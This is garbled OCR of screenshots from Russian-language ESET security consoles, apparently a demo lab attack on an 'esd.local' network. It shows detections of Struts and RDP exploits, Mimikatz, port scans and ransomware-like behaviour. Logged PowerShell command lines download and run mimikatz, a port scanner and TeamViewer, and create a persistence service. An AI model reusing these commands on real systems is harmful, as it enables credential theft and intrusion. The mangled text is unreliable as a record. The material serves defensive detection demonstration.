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Bektop 1

Targeted
network
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Management
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admin
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network

Servers

Management

BekTop 2

domain

admin Bkl 3 Il TERM
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network

Servers
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SECURITY MANAGEMENT CENTER

Pl

< HAZAN Komnerotepo >

OB30P

KCHOMWIYPALIMA

KYPHAMEI

BBINOTHEHMA 3ATAHK

YCTAHOBEHHBIE NMPWMNCHKEHINA

MPEAYTIPEXAEHMA

BOMPOCHI

¥TPO3b! M KAPAHTH

NOAPCEHCCTA

Sysinspector

AYPHAN CNAMA

HYPHAM QAMEPBONA

KYPHANM HIPS

HYPHAN KOHTPONA YCTPOWCTE

HKYPHAN KOHTPONA ACCTYTA B
WMHTEPHET

Log Collector

KypHaNL! AMarHOCTHEM

KypHan KOHTpOAA YCTPOWCTE

MPOW30OLWNO

2019 weoHa 4 17:28:47

2019 wroHa 4 17:28:47

2019 wmeona 4 17:28:54

2019 wroHa 4 17:28:54

2019 wroHa 4 17:29:37

2019 weona 4 17:29:37

2019 wroHa 4 17:29:51

2019 weona 4 17:29:51

2019 weoHa 4 17:30:02

2019 wrona 4 17:30:02

WIEHTUPUKATO

3abnokvpoBaHo
3aBNoKMpOBEaHD
3abnokvpoBaHo
3aBNoKMpOBEaHD
3aBNoKMpOBEaHD
3abnokvpoBaHo
3aBNoKMpOBEaHD
3abnokvpoBaHo
3aBNoKMpOBEaHD

3abnokvpoBaHo

~ CEPMIAHBIA HON

1350EWCCD275D5CE
1350EWCCD275D5CZ
1350EWCCD275D5CE
1350EWCCD275D5CZ
19HHO298095DILLE
19HHO298095DILLY
19HHO298095DILLE
19HHO298095DILLY
19HHO298095DILLE

19HHO298095DILLY

WIEHTUPUKATOF

JNWCKOBBIA HAKOMWTEN...

JUCKOBBIA HAKOMWTEN...

JNWCKOBBIA HAKOMWTEN...

JUCKOBBIA HAKOMWTEN...

JUCKOBBIA HAKOMWTEN...

JNWCKOBBIA HAKOMWTEN...

JUCKOBBIA HAKOMWTEN...

JNWCKOBBIA HAKOMWTEN...

JUCKOBBIA HAKOMWTEN...

JNWCKOBBIA HAKOMWTEN...

W3roToB

JetFlash

JetFlash

JetFlash

JetFlash

JetFlash

JetFlash

JetFlash

JetFlash

JetFlash

JetFlash

YYETHAA 3AN (3]

NT AUTHORITY\LOCS
SLAVAS Voodoom
NT AUTHORITY\LOCS
SLAVAS Voodoom
NT AUTHORITY\LOCA
SLAVADWoodoom
NT AUTHORITY\LOCA
SLAVADWoodoom
NT AUTHORITY\LOCA

SLAVAZ\Woodoom
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SECURITY MANAGEMENT CENTER

OTnpaeneHHsle dainsl | a][0] | NOAYYATEAL | Dynamic Thr ¥ X | ‘ NOBABUTL OUIBTE | ‘ MPEAYCTAHOBKY

PANN X3l CTATYC COCTOAHM MEFPBAA OTMPABKA MOCNEAHAA OBPAE KOMMBHOT MONb30BA MPUYUHA a MOAYY 8

mailto:Tto=ent-...ment=makware,s FOG0C2FBF478... -.-' Jasepwero 2019 man 28 15:39:51 2019 man 28 15:41:10 el NT AUTHORIT.. ABTOMATUYECK. .. Dynamic Threa...
mailto:?to=ent-...ce_0821047 xdsm ao7603c4ese.. D CEE) 2019 man 28 160707 2019 man 28 16:11:05 FYSIEA®  NTAUTHORIT..  Astowatvseck..  Dynamic Threa..
mailto:7to=ent-..hment=setup.exe spear4e42z4s. (D RS 2019 wan 28 145518 2019 man 28 14:57:03 FYSIEA®  NTAUTHORIT..  Astomatvseck..  Dynamic Threa..



Targeted

network

Bektop 3

DMZ




Targeted 3
network

Bektop 3

DMZ




SECURITY MANAGEMENT CENTER

OTnpaeneHHbI

©ANN

file:///Ci/User...

files/{/CifUser..

filey/f/C:fUser...

file:// T/ User..

dainel |

2.0-b255_rz.exe

7f670893a092ee32

MHWK 33Ka3..msg

ficeCookies.exe

http://download...41e793315bf.exe

http://download...692c23388fa.exe

http://download...d0256400922 exe

AOBABMTE MCKIH

UEHME B NOMTIKY

X3l

955EESDEFC53F30D9C20011FAEDCETTFEDF05989

795DA9566CA5T 16B04F5E56E413EBEBASEB6A3T1

0071EDFE5DD52697F053190102476B12CFD563ET

DDD44DDEB440T2144DAFD5E122C53F225017790E

CECEG88CDC25BCAE1E1AO3CEORCC34TORE12F3C3

BF9C1902A63A058257458B01C5630A9AE2FBEFDB

BO0VES3TCEITCA4EAABAMBIOCI102AFB1TIBFDASLS

COCTOAHME

3aeepwero
Jasepweno
Jasepweno
3aeepwero
Jasepweno

3aeepwero

Jasepweno

MEFBAA OTINPABKA

2019 man 31 18:42:41
2019 anp. 8 17:14:11
2019 man 3 15:00:29
2019 mapra 7 12:27:22
2019 desp. 25 12:37:59
2019 anp. 1 13:36:50

2019 ¢esp. 25 12:39:26

MOCNEAHAA OBPABOTE

2019 man 31 18:42:42
2019 anp. 9 13:16:40
2019 man 3 15:02:07
2019 maprta 7 12:28:58
2019 desp. 25 12:38:51
2019 anp. 1 13:38:49

2019 desp. 25 12:40:02
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network
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web
Baled admin

[ cVE-2017-5638.Struts2 |
R e e e >3 ||| TERM
[ Win32/Exploit.RDP.CVE-2012-0002 | [I[EEEIR




SECURITY MANAGEMENT CENTER

)’rpoe.bl ‘ MOKA3ATDE MOATPYTITNB! ‘ | YTPO3A YCTPAHEHA X ‘ | MPMYKMHA  Strut )4 | ‘ NOBABWTE ©UMLTP
T
L
Ipynnel ~ B |
A A [ Bee (Mpobren: 257) o TWM ¥TPO3bI MM#A KOMMbHOTEP? A MPUHMMHA CAYYUAOCh OBBEKT B

B3 Notepantuie v Haiigentbe
£ Bee (M)
e Komnsotepsl ¢ Windows

Komneroteps ¢ Linux
Komneotepsl ¢ Mac 05

KoMNsrTEpSl € YCTAPEEWMMA MOAYN

Wcnonezosanne YASEMMOCTW B CUCTEME besonac...

Wcnonezosanne YASEMMOCTA B CUCTEME Gezonac...

mail.esd.local

ts01.esd.local

CVE-2017-5638.5truts2

CVE-2017-5638.5truts2

CVE-2017-5638.5truts2

2019 man 24 15:32:43

2019 man 24 15:28:49

2019 man 24 15:32:54

10.10.45.20-»10.10.45.25:5985

10.10.45.20->10.10.45.232:5985

10.10.45.20->10.10.45.70:5985

Wcnonesosanue yasenmocTv B cucteme Gesonac... ca.esd.local
i ol id ‘_"" u
KomnsroTepsl ¢ ycTapeEwei onepaly

WMcnonesoBaHKue yasEMMOCTH B CucTene Besonac... dc02.esd.local CVE-2017-5638.5truts2 2019 man 24 15:28:49 10.10.45.20->10.10.45.202:5985

KomnboTepsl ¢ npobasmani

Wcnonesosanue yasenmocTv B cucteme Gesonac... eei.esd.local CVE-2017-5638.5truts2 2019 man 24 13:16:02 10.10.45.20->10.10.45.50:20

HeakTMeEWpoBaHHBIA NpogykT Besonz

4 MobuneHee yorpoicTea Wcnonesosanue yasenmocTv B cucteme Gesonac... mail.esd.local CVE-2017-5638.5truts2 2019 man 9 18:22:04 218.62.29.163->10.10.45.25:443

WMcnonesoBaHKue yasEMMOCTH B CucTene Besonac... dc01.esd.local CVE-2017-5638.5truts2 2019 man 24 15:28:49 10.10.45.20->10.10.45.201:5985

EPL NOMETATE KAK YVCTPAHEHHYHS NMOMETIATE KAK HEVYCTPAHEHHEYKS NEIACTRIAT [0



SECURITY MANAGEMENT CENTER

[ | | }’rpoe.bl ‘ MOKA3ATDE MOATPYTITNB! ‘ | YTPO3A YCTPAHEHA X ‘ | MPHMYKMHA  rdp ) 4 | ‘ NOBABWTL @MNBTP

| o

Ipynnel ~

A B3 Bee (Mpobnem: 257) 1G] TN ¥TPO3bI MMA KOMMBHTEP/ 2 MPUYAHA CNY4YUNoCh OBBLEKT {61
B3 Morepannsie v HaligenHee
£ Bee (1)
e Komnsotepsl ¢ Windows
Komnsioteps: ¢ Linux Wcnonesosanue yasemmocty ... ts03-hack.esd.local Win32/Exploit. RDP.CVE-2012-0002 2019 man 27 17:09:21 10.10.45.1-+10.10.45.12:3380
Komneotepsl ¢ Mac 05
KoMnsoTephl © YCTAPSEWWMA MOAYA
KomnetoTepsl © ycTapeswei onepatl
KomnboTepsl ¢ npobasmani
HeakTMeEWpoBaHHBIA NnpogykT Besong

A MabuneHeie ycTpoicrea

https:/#10.10.45.205/erafwebconsale/1
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SECURITY MANAGEMENT CENTER

)’rpoe.bl ‘ NMOKA3ATE NOATPYNNG ‘ | YTPO3A YCTPAHEHA X ‘ | MPHMYMHA  mimi ) 4 | ‘ NOBABMTE @ANBTP
]
L
Ipynnel ~ - |
A 7 Bee (Mpobaem: 269) © TN ¥TPO3bI MMA KOMMNLHTEP/ 2 MPUYAHA CNy4runock OBBEKT {61
B3 Morepannsie v HaligenHee
£ Bee (M)
e Komnsotepsl ¢ Windows
KomnssoTeps! ¢ Linux noTeHumnancHo onac..  ts03-hack.esd.local Win32/HackTool.Mimikatz.H 2019 man 28 10:22:49 files//C'Windows/system3 2/ TEMP3/Win:
Komnetotepsl ¢ Mac 05 NPMASKEHWE ts03-hack.esd.local Win32/RiskWare.Mimikatz.E 2019 man 28 10:22:49 file:///C/Wind ows/system3 2/ TEMP%/Win3
KoMnsrTepsl € YCTAPEEWMMI MOAYN i ) o _— ) X . —
. MPMASHEHWE ts03-hack.esd.local Win32/RiskWare.Mimikatz.) 2019 man 28 10:22:49 files//C'Windows/system3 2/ TEMP3/Win:
KomnsroTepsl ¢ ycTapeEwei onepaly
NPMASKEHWE ts03-hack.esd.local Win32/RiskWare Mimikatz.P 2019 man 28 10:22:43 file:///C/Wind ows/system3 2/ TEMP%/Win3
KomnboTepsl ¢ npobasmani
HeakTnEMpOSaHHSIi npomykT Gesonz MPMASHEHWE ts03-hack.esd.local Winb4/Riskware.Mimikatz.D 2019 man 28 10:22:48 files///C'Windows/system3 2/ TEMP36/x64/
hd MabuneHeie ycTpoicrea MPMASHEHWE ts03-hack.esd.local Winbd4/Riskware.Mimikatz.| 2019 man 28 10:22:49 files///C'Windows/system3 2/ TEMP36/x64/
NPMASKEHWE ts03-hack.esd.local Winb4/Riskware Mimikatz.U 2019 man 28 10:22:49 file:///C/ Wind ows/system3 2/ TEM P36/ x84/
3
CKAHVIPOBRATE KOMMBHITEPE MOMETHTE KAK YCTPAHEHHYH MOMETHTE KAK HEYCTPAHEHHYIC NEMCTEIAA oo
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ENTERPRISE INSPECTOR

COMMAND —— - R R —
Alarms RULES v RESOLVED X H ne =1 aCaa= | ¥ X || ADDFLTER || PREsETS < O
RULES / ALARMS  (3) = SEVERITY QCCURRED TIME TRIGGERED TIME COMPUTER EXECUTABLE @

A PowerShell executed with long cmdline [D0415] & days ago & days ago
= A Powershell suspicious activity executed - EncodedCommand [D0414] 1
A Rule  PowerShell suspicious activity executed - EncodedCommand [D0414] & days ago 6 days ago ] 1503-hack.esd.loca powershellexe

= A\ Powershell.exe creates network connection [AD502] 1

A Rule  Powershell.exe creates network connection [AD502] & days ago 6 days ago ] 1503-hack.esd.loca powershellexe



ENTERPRISE INSPECTOR

Aggregated Events

TS03-hack.esd.local

PARENT GROUP

LAST CONNECTED

LAST EVENT

AGENT VERSION

05

PROCESS

COMMAND LINE

PATH

STARTED

EMDED

PARENT PROCESS

INTEGRITY LEVEL

COMPUTER

EXECUTABLE

SHA-1

CK All > MoTeparHoie W HaRgerHRE = ® =

- Process details

=
]
1
=
u

=
i

m
m
]
i
A

+ |>+ svchost.exe (5252)

MoTepAHEEIE ¥ HAAZEHHbIE
one minute ago - 3 4epe. 2019, 15:04:58

=

File Registry
6 1 2

one minute ago - 3 4epe. 2019, 15:04:23
1.2.894

Windows Server 2076

+ |>"L powershell.exe (4384)

Y

wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-
o 20190512/mimikatz_trunk.zip -O C:\Users\admin\Desktop\mimi.zip

ell sus|

ell exe

-EncogeqCommand

dWBnAGUADAAZAGEAdARBAHAACHABAC BALWENAGKAdABCAHUAYEAUAGHADWETACEATWE 1 AGAAd AR D AGWABWB PAHC A30AVAGEAE OB TAGKABWEB N AHQAR S AVAH T AZ QRS
ARUAYQEZAGUACWAVAGDADWE 2 AG4ADABYAGEAZ AAVADT AL EAVACSAMAATADTA DRAMAALADEAMEAVAESARQBTAGKAZWENAHQARZEfARQAC EB1AGSARBWALAHDS
BOBWACAALQERACAAQWABAFWAVEZAGUAC B ZAFWAYJEKAGBAZ)EUAFWARARLARMAIWEBAGSACABC AGRABQBTACKALEERAGKAC Ad=

HSYSTEM*\windowspowershellw1.0h

& days ago - 28 Tpas. 2019, 10:18:34

& days ago - 28 Tpas, 2019, 10:22:46

powershell.exe

BCECE4A295C163791660FC23D2E5ERDB4F25EE4C

QAN SERIpT - ORECE

HLUALY Sk RILL S

Powershell.exe



ENTERPRISE INSPECTOR

ACK All = MoTEpREHBIE M HARAEKHRE = = > [>* powershell.exe - PI’DCESS detaHs

g Details Aggregated Events Alarms Raw Events Loaded Modules (DLLs)
s
TS03-hack.esd.local (ml Events
+ |>+ svchost.exe (5252)
PARENT GROUP MoTEpAHERE ¥ HAHMAEHHBIE 4
p©b + |> powershell.exe (4384)
LAST CONNECTED 37 seconds ago - 3 yepe. 2019, 15:08:00 oo o
ooo
LAST EVENT 4 minutes ago - 3 yepe. 2019, 15:04:23 4
File Registr owershell.exe (2604
AGENT VERSION 1.2.894 gistry s D P ( )
15 1
05 Win

el susg

Expand-Archive c:\Users\admin\desktop\mimi.zip -DestinationPath %TEMP%

PROCESS pow
-Encodedcommand
COMMAND LINE RQB4AHAAYQBUAGQALQBBAHIAYWEOAGKADZBLALA QEZAGUACSBIAFWAYQEKAGBASQEUAFWAZABLAHMAGNEAAGSAC ABCAGRAIQBET AGKALEESAGKACAAL

ACBARABLAHMACABDAGLAYRRAGKADWEUAF AAYDBRAGTAT AALAFQARQENAFAADQA=

PATH REYSTEM ¥ \windowspowershellhw1.00
STARTED & days ago - 28 Tpas, 2019, 12:41:49
ENDED & days ago - 28 Tpas. 2019, 12:41:530
PARENT PROCESS powershell.exs (4354)
INTEGRITY LEVEL High
COMPUTER
EXECUTABLE powershell.exe
SHA-1 ECBCE4A295C163791B60FC23D255E6D84F25EE4C
-
OWNLOAD FILE DOWMLOAD SCRIPT LL PROCESS



ENTERPRISE INSPECTOR

= BACK All = MoTEpREHBIE M HARAEKHRE = = > [>* powershell.exe - PI’DCESS detaHs
g Details Aggregated Events Alarms Raw Events Loaded Modules (DLLs)
s
TS03-hack.esd.local (D_l Events
+ |>"L svchost.exe (5252)
PARENT GROUP MoTEpAHERE ¥ HAHMAEHHBIE oD
=] 4+
LAST CONMNECTED 33 seconds ago - 3 weps. 2019, 15:0%:31 B oo © + D powershell.exe (4384)
ooo
LAST EVENT 5 minutes ago - 3 vepe. 2019, 15:04:23
File Regist 4
AGENT VERSION 12.894 : 91 Y + [ powershell.exe (2536)
05 Windows Server 2016
hell suspicious ac
. H 0 0 . .
C:\Windows\System32\%TEMP%\x64\mimikatz.exe
PROCESS pow TTETERE T 0] + L} Mmikatz.exe (?068}
COMMAND LINE -Encodedcommand
QWABAFHAVWEDAGAAZABVAHCACWECAFMARQBZ AHQAZQBTADMAMEECACUAVABFAERAUAALAFWARAAZ ADQAXABTAGKADQEDAGSAY QBBAHOALEBLAHEAZ QA=
PATH %SYSTEM I \windowspowershellhw1.04
STARTED & days ago - 28 Tpas. 2019, 10:34:38
ENDED & days ago - 28 Tpas. 2019, 10:42:11
PARENT PROCESS powershell.exe (4354)
INTEGRITY LEVEL High
COMPUTER
EXECUTABLE powershell.exe
SHA-1 BCBCE4AZ95C163791660FC23D2E5ER0E4F25EE4C
REPUTATION (LIVEGRID =) Safe (3) -
DOWMNLOAD FILE DOWMLOAD SCRIPT KILL PROCESS
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ENTERPRISE INSPECTOR

== < BACK All > ToTepARHBIE U HARIEHHEE > B . > - Process details
g Deta grega T arms R a DLL:
s
A TS03-hack.esd.local ID_] Events
+ w svchost.exe (5252)
" N PARENT GROUP MoTepAHERIE M HaHASHHLIE oD
> .
- o : 4
= LAST CONNECTED 42 seconds ago - 3 ueps. 2019, 15:11:32 9 oo © 4\ : + [> powershell.exe (4384)
ooo : \l/
LAST EVENT one minute ago - 3 yepe. 2019, 15:11:06
[ _ File Registry MNetwork 4
H_ AGENT VERSION 1.2.894
— 7 1 1
0S5 Windows Sepyer 2016
— Il sus
= wget

https://dw68.uptodown.com/dwn/xevid7y9_MiptTKyk4HIyOS342HI12tpLI16Z149r1Kzud5Hc3FgbdBjlv
) P_907R35PudfFiWaGabvOOkCkRbOWHolu4KAMhxDsu6EQiwrflgsLH7ZMjvmG_MOIpOQSAB/APUrajgQ
«e1 75NT4_0DVUWO0X21BkQyjOCYEONTFLxhjetOW7Ds78XTTsxvj8FKOrwN85lboq 9walLhWb5i0i08qcBEp9n  [=!=x«

AHDA

PROCESS pow

g ONXTiirZ15uly-
COMMAND LINE :é:j _TXKw7mFAjrcGug_dBE7Acq3/lIDHkL254hPIh9kDvwhGUwxuCm60KfNI2p150LTcsG_m8_ BvAVijstxgtl

=t YHU4jN94sVc57hn490fTdjuORPph3ZdymyWBV00a9KpQFU8Cc=/angry-ip-scanner-3-5-1.exe -0
j'gn C:\Users\admin\Desktop\scan.exe

PATH %SYSTEME\windowspowershellw1.04
STARTED 6 days ago - 28 Tpas. 2019, 11:07:29
ENDED 6 days ago - 28 Tpas. 2019, 11:0%49
PARENT PROCESS powershell.exe (4354

INTEGRITY LEVEL High



ENTERPRISE INSPECTOR

< BACK All > MoTeparHoie W HaRgerHRE = ® > [ powershellexe - Process details
g Details Aggregated Events Alarms Raw Events Loaded Modules (DLLs)
s
TS03-hack.esd.local (D_l Events
+ |>+ svchost.exe (5252)
PARENT GROUP MoTEpAHERE ¥ HAHMAEHHBIE oD
o 4
LAST CONMECTED 37 seconds ago - 3 ueps. 2019, 15:14:04 B oo © + |> powershell.exe (4384)
ooo
LAST EVENT 3 minutes ago - 3 vepe. 2019, 15:11:06
File Registry + [ powershell.exe (9636)
AGENT VERSION 1.2.894 5 1 P '
05 Winelous Saner 2015
C:\Users\admin\Desktop\scan.exe Powershellsus
Ly
PROCESS powershellexe (9636) D scan.exe (96
COMMAMND LINE -EncodedCommand QWABAFWAVDETAGUACEBIAFWAYQEKAGRAZQBUAFWARABLAHMAGWEBAGEAL ABC AHMAYWENAGIALEE] AHEAT QA=
PATH %SYSTEM I \windowspowershellhw1.04
STARTED & days ago - 28 Tpas. 2019, 12:41:16
ENDED & days ago - 28 Tpas. 2019, 12:41:16
PARENT PROCESS
INTEGRITY LEVEL High
COMPUTER
EXECUTABLE powershell.exe
SHA-1 BCBCE4A295C1637H1BE0FC230285E6DB4F28EE4C
REPUTATION (LIVEGRID &) Safe (9)
O DOWNLOAD SCRIPT KILL PROCESS



SECURITY MANAGEMENT CENTER

)’rpoe.bl ‘ MOKA3ATE NOArPYINE! | YTPO3A YCTPAHEHA X ‘ | TWMN ¥TPO3bl | Ataka ckanu T | X ‘ | ACBABMTE @UMLTP .
Ipynnel ~ — |
B3 Bee (Mpobnem: 260) S MMA KOMMBHTEP/ a [MPHYUHA CNY4YUNoCh OBBLEKT {61
B3 Morepannsie v HaligenHee
e Komnsotepsl ¢ Windows
KomnemoTensl © Linusx ATaKa CKaHWPOBaHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 11:55:37 10.10.4512->10.10.45.13:61
Komnetotepsl ¢ Mac 05 ATaKa CKAHMPOBAHWMA NOPTOS ..  win-10-client.esd.local 2019 man 28 16:38:39 10.10.45.12->10.10.45.13:22026
[T] KomMnetoTepsl  yoTa KM MOAY T
(01 Kownerorepe: ¢ yerapesuina uoayn ATaKa CKaHMpOBaHIA NopTas .. win-10-client.esd.local 2019 mas 28 13:39:52 10.10.45.12->10.1045.13:27516
KomnetoTepsl © ycTapeswei onepatl
ATaKa CKAHWPOBAHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 14:09:55 10.10.45.12->10.10.45.13:43997
KomnboTepsl ¢ npobasmani
HeakTVEMpOEaHHsIi nposykT Gesonz ATaKa CKaHWPOBaHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 12:40:48 10.10.4512->10.10.45.13:61
~ [T MoGunereie yorpoiictea ATaka CKAaHMPOBaHWA NOPTOE ..  client-win10-no-domain... 2019 mas 28 12:49:30 10.10.45.12-> 10.10.45.16:61
ATaKa CKAHWPOBAHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 16:38:37 10.10.45.12->10.10.45.13:11044
ATaKa CKaHWPOBaHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 13:19:51 10.10.4512->10.10.45.13:16531
ATaKa CKAHWPOBAHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 13:4%:53 10.10.45.12->10.10.45.13:33007
ATaKa CKaHWPOBaHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 12:05:38 10.10.45.12->10.10.45.13:5552
ATaKa CKaHWPOBEHWA NOPTOE ..  client-win10-no-domain... 2019 man 28 12:11:09 10.10.4512->10.10.45.16:61
ATaka ckaHWpOBaHWA NopTos ..  win-10-client.esd.local 2019 man 28 16:18:35 10.10.45.12->10.10.45.13:61
ATaKa CKaHWPOBaHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 12:59:49 10.10.45.12->10.10.45.13:5550
ATaKa CKAHWPOBAHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 16:48:38 10.10.45.12->10.10.45.13:16537
ATaKa CKaHWPOBaHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 13:29:52 10.10.4512->10.10.45.13:22024
ATaKa CKAHWPOBAHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 13:5%:54 10.10.45.12->10.10.45.13:38499
ATaKa CKaHWPOBaHWA NOPTOE ..  win-10-client.esd.local 2019 man 28 12:17:04 10.104512->10.10.45.13 -
2
Nk TEPhL n ETHUTE TPAHEHH EVCT a (e8]



ENTERPRISE INSPECTOR

= BACK All = MoTEpREHBIE M HARAEKHRE = > Eja'.faw.exe > F‘ja'.fau\'.exe - Raw EVE‘HJ[S

Aggregated Events Alarms Loaded Modules (DLLs)

g Dietails

SHOW SUB-PROCESS ]
Pt

‘\ EVENTS AUR TR
TIMESTAMP PROCESS OPERATION ARGUMENT

]
23 Tpae. 2019, 12:00:00 Javaw.exe{3676) ToplpDisconnect 10.10.45.25

shell.exe (4384)
23 Tpae. 2019, 12:00:00 Javaw.exe{3676) ToplpDisconnect 10.10.45.25
23 Tpae. 2019, 12:00:00 Javaw.exe{3676) ToplpDisconnect 10.10.45.25 Dl' powershell exe (6804)
23 Tpae. 2019, 12:00:00 Javaw.exe{3676) ToplpDisconnect 10.10.45.25

: - S _— 3 7672
28 pas. 2019, 12:00:00 javaw.exe(S676) plpDisconnact 10.10.45.25 + scan.exe ( )
28 Tpae. 2019, 12:00:00 Jjavaw.exe{3676) TeplpDisconnect 10.10.43.25 +
+ [} ipscan.exe (7048)

28 tpae. 2019, 12:00:00 Jjavaw.exe{5676) TeplpDisconnect 10.1045.25
28 tpae. 2019, 12:00:00 Jjavaw.exe{5676) TeplpDisconnect 10.1045.25

28 tpae. 201

Jjavaw.exe{5676)

TeplpDisconnect

10.10.45.25

28 Tpae. 2019, 12:01:18 Jjavaw.exe{5676) TeplpDisconnect 1010451
28 tTpae. 2019, 12:01:39 Jjavaw.exe{5676) TeplpDisconnect 10.1045.202
28 tTpae. 2019, 12:01:39 Jjavaw.exe{5676) TeplpDisconnect 10.1045.202
28 tTpae. 2019, 12:01:39 Jjavaw.exe{5676) TeplpDisconnect 10.1045.201
23 Tpae. 2019, 12:01:39 Javaw.exe{3676) ToplpDisconnect 10.10.45.201
23 Tpae. 2019, 12:01:39 Javaw.exe{3676) ToplpDisconnect 10.10.45.25
28 Tpae. 2019, 12:01:42 Javaw.exe{3676) ToplpDisconnect 10.10.43.12
28 Tpae. 2019, 12:01:42 Javaw.exe{3676) ToplpDisconnect 10.10.43.19
28 Tpae. 2019, 12:01:43 Javaw.exe{3676) ToplpDisconnect 10.10.43.70
28 Tpae. 2019, 12:01:52 Javaw.exe{3676) ToplpDisconnect 10.10.45.202

1 HOUR +1 HOUR
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- [)? Javaw.exe (5676)

[)? notepad.exe (1884)
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ENTERPRISE INSPECTOR

COMMAND LINE

PATH

STARTED

EMDED

PARENT PROCESS

INTEGRITY LEVEL

COMPUTER

EXECUTABLE

SHA-1

< BACK | Al = MoTepsrHsie M HafgesHse = = e [> - Process details
g Details Aggregated Events Alarms Raw Events Loaded Modules (DLLs
TS03-hack.esd.local (D_l Events
+ |>+ svchost.exe (5252)
PARENT GROUP MoTEpAHERE ¥ HAHMAEHHBIE
0©d O 4
LAST CONMNECTED one second ago - 3 yeps. 2019, 15:5%:34 9 oo © - + D powershell.exe (7568)
ooo y
LAST EVENT 6 minutes ago - 3 vepe. 2019, 15:53:17
File Registry MNetwork 4
AGENT VERSION 1.2.894 6 1 1
05 Windows Server 2016
. H H H H Ell sus|
wget https://dl.tvcdn.de/download/version_12x/TeamViewerQS-idcsyvjrvc.exe -O "
PROCESS - BTEMP%\serviceonesync.exe -
-end
dWE NG R G I B e LA e AL B L en AL CEeR AT AT e R AL AL D E LGN LR R AR S AN TG A D HE T AL NE 2 AGU AT OB TG ADHE U AT ARy AR AL WET FOWE ll.exe

AGUAYQELAFYAZQBLAHCATORY AFEAUWATAGKAZAR ] AHMAE B2 AGDACEE 2AGMAL B 1 AHE AT DAZACBATWAZACUAN
ZOBZAHKADZETACAATQBAAGUA

BFAEBALAALAFWACWE IAHIADEERAGMAZ)BYAGSS

HSYSTEM*\windowspowershellw1.0h

& days ago - 28 Tpas. 2019, 14:08:38

powershell.exe

BCECE4A295C163791660FC23D2E5ERDB4F25EE4C

QAN SERIpT - ORECE

LAY SURIF KILL FRUCESS



ENTERPRISE INSPECTOR

ACK All = MoTEpREHBIE M HARAEKHRE = = > [>* powershell.exe - PI’DCESS detaHs

TS03-hack.esd.local (ml Events

PARENT GROUP
LAST CONNECTED
LAST EVENT
AGENT VERSION
05

PROCESS

COMMAND LINE

PATH

STARTED

ENDED

PARENT PROCESS

INTEGRITY LEVEL

COMPUTER

EXECUTABLE

SHA-1

MNoTepAHHLE M Ha HgeHHble

+ |>+ svchost.exe (5252)

©b 4
35 seconds ago - 3 ueps. 2019, 16:00:37 9 gﬂ -} + D powershell.exe (7568)
ooo
one minute ago - 3 4epe. 2019, 16:00:01 ) . +
1.2.694 File Registry + I:> powershell.exe (8044)
5 1
Win

New-Service -Name "Onesync_BD3_wew?2" -BinaryPathName
C:\Windows\System\serviceonesync.exe

powy

ell su:

-ENC

TEBELAHCALQETAGUACER ZAGKAYWE LACAALQBOAGEADQBLACAATEEPAGIATQE ZAHKADEE JAF EAQEEEADMAXWE S AGUACNAYACTATAATAEIABQBUAGEACZESAF AAYDBE
AGEATEENAGBAZQAZAEMAQZECAF CABQBUAGQADWE S AHMAKAETAHKACHE@AGUADQBCARMAZQE Y AHY ABQE ] AGUADWE UAGUACWE SAGLAYWAUAGUAEABLAA==

WSYSTEM¥\windowspowershell\w1.0,

6 days ago - 28 Tpas. 2019, 14:25:49

powershell.exe

GCBCE4A295C163791660FC23D255ERD84F25EE4C

QAN SERIpT W ORECE
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Windows Server 2019 Standard Evaluation
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SECURITY MANAGEMENT CENTER

Yrpozel

Ipynnel ~

A ~ B3 Bee (MpoGnem: 277) ©r

£ Movepattse u HaligeHHbe
e Komnsotepsl ¢ Windows

Komneroteps ¢ Linux
Komneotepsl ¢ Mac 05
KoMNsrTEpSl € YCTAPEEWMMA MOAYN
KomnsroTepsl © ycTapeswel onepaly
KomnboTepsl ¢ npobasmani
HeakTMeEWpoBaHHBIA NnpogykT Besong

A MabuneHeie ycTpoicrea

‘ MOKA3ATDE MOATPYTITNB! ‘ |

YTPO3A YCTPAHEHA X ‘ | TWIM ¥TPO3bl | 3anyctute He ¥ | X ‘ |

TWAM ¥TPO3bI

£ Bee (3)

3anycn-1Th HOEBOE NPUACEHNE
Eal'lyCI'MTh HOEOE NpUAOXHEHWE

3anycn-1Th HOEBOE NPUACEHNE

MMA KOMIMBHOTEP/

dc01.esd.local

dc01.esd.local

dc01.esd.local

MNFM4YUHA

Deny child processes from powersh...
Deny child processes from powersh...

Deny child processes from powersh...

= CNY4YUNOCh

2019 weoHa 4 16:02:30

2019 wroHa 4 16:00:24

2019 weoHa 4 15:59:18

NEACTBUE

330N10KMPOBaEH. .
33BN0KMPOEEH. .

330N10KMPOBaEH. .

OBbEl (8

CAWindows'
CAWindows!

CAWindows'



ENTERPRISE INSPECTOR

= BACK All = MoTEpREHBIE M HARAEKHRE = * * 3 - A|arm5
ININIT.EXE |53£) N
Details Aggregated Events Alarms Raw Events Loaded Modules (DLLs)
S — B + |>+ services.exe (676)
| UNGROUPED v RESOLVED % || ADD FILTER +
A + D* svchost.exe (836)
ALARMS (2) SEVERITY PRIORITY RESOLVED OCCURRED TIME ~ @
&
Filecoder behaviour [Z0601] (1) 4 hours ago ‘
Windows Remote Management process s 0419] 4 g - B
Windows Remote Management process started [AD419] hours ago Filecoder behaviour [Z0601
Windows Remote Managen
+ [:}“L powershell.exe (1320}
*
+ [}* powershell.exe (7424)
+ [}* powershell.exe (§124)
+ [}* powershell.exe (7292)
&
+ [}* powershell.exe (6308)
&
&
3
https://10.10.45.50/console/dashboard/alarms 1 2



ENTERPRISE INSPECTOR

ts01.esd.loca

PARENT GROUP
LAST CONNECTED
LAST EVENT
AGENT VERSION
05

PROCESS

COMMAND LINE

PATH

STARTED

EMDED

PARENT PROCESS

INTEGRITY LEVEL

COMPUTER

EXECUTABLE

SHA-1

REPUTATION (LIVEGRID )

ACK All > ToTEPAKHBIE W HARLEHHRE = =

I=
o
5
3
n
el
i
m

MoTepRHKEIE W HaHAEHHBIE

29 seconds ago - 3 wepe. 2019, 16:18:33
